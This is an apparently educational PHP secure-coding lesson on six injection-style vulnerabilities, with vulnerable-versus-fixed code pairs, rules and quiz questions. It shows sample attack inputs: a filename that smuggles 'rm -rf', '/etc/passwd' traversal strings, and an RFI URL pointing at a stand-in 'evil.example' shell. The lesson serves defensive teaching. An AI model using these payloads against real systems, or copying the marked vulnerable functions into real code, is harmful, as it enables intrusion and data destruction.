SQL/Command Injection, Path Traversal, LFI/RFI, SSRF, and Unsafe Deserialization
Recognize SQL injection, command injection, path traversal, local/remote file inclusion, server-side request forgery, and unsafe deserialization as a shared pattern -- untrusted input reaching a powerful interpreter or resource locator -- and apply the specific PHP-level mitigation for each.
The vulnerabilities in this lesson all share one shape: untrusted input reaches something POWERFUL -- a SQL parser, a shell, the filesystem, the network layer, or PHP's own object system -- and is trusted to only mean what the developer intended, when in fact an attacker can make it mean something else entirely. This lesson surveys all six items together specifically so the shared pattern is visible, with real, runnable PHP for each mitigation; two of the six (SQL injection and unsafe deserialization) have their own dedicated lessons elsewhere in this course and are kept brief here with a pointer to the fuller treatment, and the remaining four (command injection, path traversal, LFI/RFI, and SSRF) are also covered at greater length, alongside file-upload and authorization risks, in the Advanced Web Security module -- this lesson is the focused, security-section version of that same material.
SQL Injection (Brief -- See the Dedicated Lesson)
SQL injection happens when untrusted input is concatenated directly into a SQL query string, letting an attacker change the query's actual structure rather than just supplying a data value -- "SELECT * FROM users WHERE id = " . $_GET['id'] lets an input like 1 OR 1=1 return every row instead of one. The complete fix is to never build SQL by string concatenation: use PDO prepared statements with bound parameters, which separate the query's fixed structure from the untrusted data entirely, so the data can never be interpreted as SQL syntax no matter what characters it contains. The dedicated 'SQL Injection' module in this course covers this in full depth, including the trickier case of dynamic table/column names (which can't be bound as parameters and need an allowlist instead) and least-privileged database users as a defense-in-depth layer.
• Full depth: see the 'SQL Injection' module (prepared statements, dynamic identifiers, least-privileged DB users). • One-line fix: bind untrusted values as parameters, never concatenate them into the query string.
Command Injection: Never Trust Input Passed to a Shell
Command injection happens when untrusted input reaches a shell interpreter -- through shell_exec(), exec(), system(), passthru(), or backticks -- and contains shell metacharacters (;, |, &&, $(...), backticks) that change what command actually executes, rather than being treated as a single inert argument. A filename field that gets concatenated straight into a shell_exec("convert {$filename} out.png") call lets an attacker supply a.jpg; rm -rf /tmp/data and have the semicolon start a completely new command.
The strongest fix is architectural: avoid shelling out at all when a native PHP extension can do the same job (the Imagick or GD extensions instead of shelling out to ImageMagick's convert, for example) -- removing the shell from the picture removes this entire vulnerability class. When a shell command is genuinely unavoidable, every piece of untrusted input must be wrapped individually with escapeshellarg(), which ensures the value can only ever be interpreted as a single literal argument no matter what it contains. escapeshellcmd() is a different, weaker tool that escapes metacharacters across an entire command STRING and is not a substitute for escapeshellarg() on each individual untrusted argument.
• Shell APIs to be wary of: shell_exec(), exec(), system(), passthru(), and backtick execution -- all reach a real shell interpreter. • Best fix: avoid the shell entirely when a native PHP extension/library can do the same job. • If unavoidable: wrap every untrusted argument individually with escapeshellarg(), or pass arguments as an array to proc_open(). • escapeshellcmd() is not a substitute for escapeshellarg() -- it escapes a whole command string, not one argument's worth of user data.
Path Traversal: Escaping the Intended Directory
Path traversal happens when a filename or path built from user input is used in a filesystem operation without confining it to an intended directory. Sequences like ../../../etc/passwd (or their URL-encoded variants, %2e%2e%2f) walk the resulting path OUTSIDE the directory a developer assumed the code was restricted to, reading -- or in a write scenario, overwriting -- files far outside where the application meant to operate. A download endpoint that does file_get_contents($baseDir . '/' . $_GET['file']) with no further checks is a textbook case.
The fix is to never trust a user-supplied path component directly: strip it to just its basename with basename() (removing any directory-traversal components entirely), resolve the FINAL actual path with realpath() (which follows symlinks and collapses any remaining .. segments), and then explicitly verify that the resolved path still starts with the intended base directory before using it -- rejecting the operation outright if it doesn't. Checking the raw input string for the literal substring ../ is not sufficient by itself, since encoded or platform-specific variants can slip past a naive string check; resolving with realpath() and comparing the RESULT is what actually closes the gap.
• Path traversal: an unconfined user-supplied path segment walks outside the intended directory via ../ sequences (or encoded variants). • Fix: basename() the input to strip directory components, then realpath() to resolve the final path. • Verify the resolved path still starts with the intended base directory (with a trailing separator) before using it -- reject otherwise. • Don't rely on a naive '../' string search alone -- encoded/platform variants can slip past it; resolving with realpath() is what matters.
Local and Remote File Inclusion (LFI/RFI)
File inclusion vulnerabilities happen when include(), include_once(), require(), or require_once() is called with a path built from user input -- include($_GET['page'] . '.php') being the classic case. Local File Inclusion (LFI) lets an attacker cause the application to include a DIFFERENT local file than intended, potentially reaching configuration files, log files (which can be poisoned with attacker-controlled content elsewhere and then included to achieve code execution), or any other file readable by the web server process. Remote File Inclusion (RFI) is the more severe variant, possible when allow_url_include is enabled (it's disabled by default in modern PHP and should stay that way) -- an attacker can point the include path at a URL they control, and PHP fetches and EXECUTES that remote file's code directly on the server, which is close to the most severe outcome a web vulnerability can produce.
There is essentially never a legitimate reason to build an include/require path directly from user input. The correct pattern is a strict allowlist: map an incoming identifier (like a page name) to a fixed, known-safe set of files the developer explicitly enumerated, and reject anything that isn't an exact match -- never pass the raw user value through to the filesystem function, not even after 'sanitizing' it, since sanitization of a path used this way is much harder to get fully right than a closed allowlist.
• LFI: include()/require() with a user-influenced path reaches a local file the developer never intended to expose. • RFI: with allow_url_include enabled, the same flaw lets an attacker point the path at a URL THEY control, and PHP executes that remote code directly -- keep allow_url_include off (the modern default). • Never build an include/require path from user input, sanitized or not. • Fix: map a user-supplied identifier to a fixed allowlist of known-safe files, and reject anything that isn't an exact allowlist match.
Server-Side Request Forgery (SSRF)
SSRF happens when an application fetches a URL that's fully or partially controlled by the user, and the SERVER's own network position -- not the attacker's -- determines what's reachable. An ordinary-sounding feature ('paste an image URL and we'll fetch it') becomes a way to make the server issue requests on the attacker's behalf, commonly toward cloud instance-metadata endpoints (which hand back temporary credentials to anything running on the instance) or internal-only admin panels and databases that were never meant to be reachable from outside.
Defense is layered: restrict the URL scheme to http/https only, resolve the hostname and reject anything landing on a private, loopback, or link-local IP range, re-check the resolved IP AT CONNECTION TIME (not just at initial validation, since DNS answers can change between the two moments), and disable automatic redirect-following or re-validate the destination after every redirect. Where feasible, an explicit allowlist of permitted destination hosts is stronger than trying to deny every dangerous one.
• SSRF: the app fetches an attacker-influenced URL, and the server's network reach (not the attacker's) determines what's accessible. • Classic target: cloud instance metadata endpoints and internal-only services unreachable from outside. • Mitigations: scheme allowlist, reject private/loopback/link-local IP ranges, re-check the IP at connection time, disable/re-validate redirects. • See the Advanced Web Security module for a full worked SSRF example including the FILTER_FLAG_NO_PRIV_RANGE check.
Unsafe Deserialization (Brief -- See the Dedicated Lesson)
PHP's unserialize() reconstructs full object instances from a serialized string, automatically invoking magic methods like __wakeup() and __destruct() on the result. Calling unserialize() on ANY data an attacker can influence -- a cookie, a cache value, an uploaded file's metadata -- lets that attacker choose which class gets instantiated (any class already loaded or autoloadable in the application) and what its property values are, entirely bypassing its constructor. If any loaded class's magic methods perform a sensitive side effect based on property values, the attacker can chain that into file deletion, further injection, or full remote code execution -- a vulnerability class known as PHP object injection, or a 'gadget chain'.
The full mechanics -- including a worked illustration of how a gadget chain triggers -- live in the dedicated 'Serialization' module. The short version: never call unserialize() on untrusted data; use json_encode()/json_decode() for anything crossing a trust boundary, since JSON cannot reconstruct arbitrary objects at all. If unserialize() of untrusted-ish data is genuinely unavoidable, pass ['allowed_classes' => false] (or an explicit allowlist) to prevent it from instantiating anything beyond plain arrays and scalars.
• Full depth: see the 'Serialization' module (magic methods, gadget chains, allowed_classes). • One-line fix: never unserialize() untrusted data -- use JSON, or pass ['allowed_classes' => false] if unserialize() is unavoidable.
Code Examples
escapeshellarg() wraps the untrusted value so the shell can only ever interpret it as one literal argument, regardless of any semicolons, pipes, or subshell syntax it contains -- closing off the injection entirely without needing to enumerate every dangerous character by hand.
Common mistake: Using escapeshellcmd() on the whole command string instead of escapeshellarg() on each untrusted argument -- escapeshellcmd() is not designed to make concatenated arguments safe.
basename() removes any '../' components up front, and realpath() resolves the FINAL real path (following symlinks, collapsing remaining '..' segments) so it can be checked against the real base directory -- the read is rejected outright if the resolved path ever lands outside where it belongs.
The fix never lets user input become part of the actual include path at all -- the user-supplied value is only ever used as a KEY to look up one of a fixed, developer-controlled set of paths, so there is no string an attacker can supply that resolves to anything outside that explicit allowlist.
Common mistake: Trying to 'sanitize' the page parameter (stripping '../' or requiring a '.php' extension) instead of switching to an allowlist -- sanitization of a value used directly in an include path is far easier to get wrong than a closed set of known-safe options.
The safe version validates the scheme, resolves the hostname to its actual IP, and rejects anything landing in a private/reserved/loopback range before the request is ever made -- and disables automatic redirect-following, since an initially-allowed URL could otherwise redirect to a disallowed internal address after the check has already passed.
<?php
// -- ILLUSTRATIVE, VULNERABLE PATTERN -- DO NOT USE --
function convertUnsafe(string $userFilename): void
{
// DANGER: a filename like "a.jpg; rm -rf /tmp/data" runs a second command.
shell_exec("convert {$userFilename} out.png");
}
// -- SECURE FIX --
function convertSafe(string $userFilename): void
{
$cmd = sprintf('convert %s out.png', escapeshellarg($userFilename));
shell_exec($cmd); // untrusted value can only be a single literal argument
}<?php
$baseDir = '/var/app/user_files';
// -- ILLUSTRATIVE, VULNERABLE PATTERN -- DO NOT USE --
function readUnsafe(string $baseDir, string $userFilename): string|false
{
// DANGER: "../../../../etc/passwd" walks straight out of $baseDir.
return file_get_contents($baseDir . '/' . $userFilename);
}
// -- SECURE FIX --
function readSafe(string $baseDir, string $userFilename): string|false
{
$safeName = basename($userFilename); // strips any directory components
$resolved = realpath($baseDir . '/' . $safeName);
$base = realpath($baseDir);
if ($resolved === false || $base === false || !str_starts_with($resolved, $base . DIRECTORY_SEPARATOR)) {
return false; // resolved outside the intended directory -- reject
}
return file_get_contents($resolved);
}<?php
// -- ILLUSTRATIVE, VULNERABLE PATTERN -- DO NOT USE --
// A URL like ?page=http://evil.example/shell would fetch and EXECUTE
// attacker-controlled code if allow_url_include were ever enabled --
// and even with it disabled, a local path like ?page=../../../etc/passwd
// (or a poisoned log file) is still an LFI risk.
$page = $_GET['page'] ?? 'home';
include("{$page}.php"); // DANGER: path built directly from user input
// -- SECURE FIX --
$allowedPages = [
'home' => __DIR__ . '/pages/home.php',
'about' => __DIR__ . '/pages/about.php',
'contact' => __DIR__ . '/pages/contact.php',
];
$page = $_GET['page'] ?? 'home';
if (!isset($allowedPages[$page])) {
http_response_code(404);
exit('Not found');
}
include($allowedPages[$page]); // only ever a fixed, developer-enumerated path<?php
// -- ILLUSTRATIVE, VULNERABLE PATTERN -- DO NOT USE --
function fetchPreviewUnsafe(string $url): string|false
{
return file_get_contents($url); // DANGER: no scheme/host/IP validation
}
// -- SECURE FIX --
function fetchPreviewSafe(string $url): string|false
{
$parts = parse_url($url);
if (!in_array($parts['scheme'] ?? '', ['http', 'https'], true)) {
return false;
}
$ip = gethostbyname($parts['host'] ?? '');
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
return false; // resolved to a private/reserved/loopback address -- reject
}
$ctx = stream_context_create(['http' => ['timeout' => 3, 'follow_location' => 0]]);
return file_get_contents($url, false, $ctx); // no automatic redirects
}One Shared Pattern, Six Destinations
Same root cause every time: untrusted input reaching a powerful interpreter without being constrained to safe values first.
Untrusted input
|
+--> SQL parser --> SQL injection --> fix: bound parameters (PDO)
|
+--> Shell interpreter --> Command injection --> fix: escapeshellarg() / avoid shell
|
+--> Filesystem path --> Path traversal --> fix: basename() + realpath() check
|
+--> include()/require() --> LFI / RFI --> fix: allowlist of known files
|
+--> Outbound HTTP call --> SSRF --> fix: scheme + resolved-IP allowlist
|
+--> unserialize() --> Object injection --> fix: JSON, or allowed_classesImportant Rules
Never build a SQL query, shell command, filesystem path, include path, or outbound URL by concatenating untrusted input.
SQL: use PDO prepared statements with bound parameters -- see the dedicated SQL Injection module.
Shell: avoid shelling out when a native PHP library can do the job; otherwise escapeshellarg() every untrusted argument.
Filesystem paths: basename() + realpath() + an explicit prefix check against the intended base directory.
include()/require(): map user input to a fixed, developer-enumerated allowlist -- never pass a user-influenced path through directly.
Outbound requests (SSRF): allowlist schemes, resolve and reject private/loopback/reserved IP ranges, re-check at connection time, disable auto-redirects.
unserialize(): never on untrusted data -- use JSON, or ['allowed_classes' => false] if unavoidable -- see the dedicated Serialization module.
Why This Matters in Practice
These six vulnerability classes together account for a large share of the OWASP Top Ten across every major web stack, not just PHP -- and they share the same underlying fix philosophy across every one of them: constrain untrusted input to a known-safe SHAPE (a bound parameter, an escaped shell argument, a resolved-and-checked path, an allowlisted include target, a validated outbound IP, a JSON-only payload) before it ever reaches the powerful interpreter, rather than trying to filter out every dangerous pattern after the fact. SSRF specifically has been behind some of the highest-profile cloud breaches on record, almost always through the exact 'fetch a user-supplied URL with no validation' shape shown above; the Advanced Web Security module in this course revisits SSRF, command injection, path traversal, and deserialization with additional depth and a broader threat catalog alongside them.
include($_GET['page'] . '.php');
include($allowedPages[$_GET['page']] ?? $allowedPages['home']); // $allowedPages is a fixed, hardcoded map
Any path built even partially from user input, no matter how it's sanitized first, can be a local or remote file inclusion vector. Mapping the input to a fixed, developer-controlled allowlist removes the vulnerability class entirely rather than trying to filter it away.
[multiple-choice] Which function is the correct fallback (after basename()) for confirming a user-influenced file path hasn't escaped its intended base directory? A. htmlspecialchars() B. realpath(), compared against the resolved base directory C. escapeshellarg() D. json_encode()
B. realpath(), compared against the resolved base directory — realpath() resolves the path to its final, real form -- following symlinks and collapsing any remaining '..' segments -- so the result can be checked against the resolved base directory. A naive string search for '../' alone can be bypassed by encoded or platform-specific variants.
[multiple-choice] Why is escapeshellcmd() not a substitute for escapeshellarg() when passing untrusted input to a shell command? A. escapeshellcmd() is deprecated in PHP 8.2 B. escapeshellcmd() escapes metacharacters across a whole command string, not one untrusted argument at a time, so concatenated untrusted arguments can still change the command's structure C. escapeshellcmd() only works on Windows D. escapeshellcmd() requires a database connection
B. escapeshellcmd() escapes metacharacters across a whole command string, not one untrusted argument at a time, so concatenated untrusted arguments can still change the command's structure — escapeshellarg() wraps a single value so it can only ever be interpreted as one literal argument. escapeshellcmd() operates on an entire command string and is not designed to make untrusted, individually concatenated arguments safe.
[true-false] True or False: with allow_url_include disabled (the modern PHP default), a user-influenced include() path is no longer a security risk. A. True B. False
B. False — False -- disabling allow_url_include closes off Remote File Inclusion specifically, but Local File Inclusion (including an unintended local file, such as a poisoned log or a config file) is still possible with a user-influenced include path. The real fix is an allowlist, not just disabling one ini setting.
A reporting feature lets a logged-in user download a report by visiting /download?file=report_2024.pdf, implemented as readfile('/var/reports/' . $_GET['file']). List the specific vulnerability class this introduces and rewrite the handling to be safe.
This is a path traversal vulnerability -- a value like ../../etc/passwd (or a similarly crafted file parameter) would walk outside /var/reports/. Fix: $safeName = basename($_GET['file']); $resolved = realpath('/var/reports/' . $safeName); $base = realpath('/var/reports'); if ($resolved === false || !str_starts_with($resolved, $base . DIRECTORY_SEPARATOR)) { http_response_code(404); exit; } readfile($resolved); -- stripping directory components with basename() and then verifying the fully resolved path is still inside the intended base directory before reading it.
The fix needs both a filename-shape restriction AND a check that the resolved path is still inside the reports directory.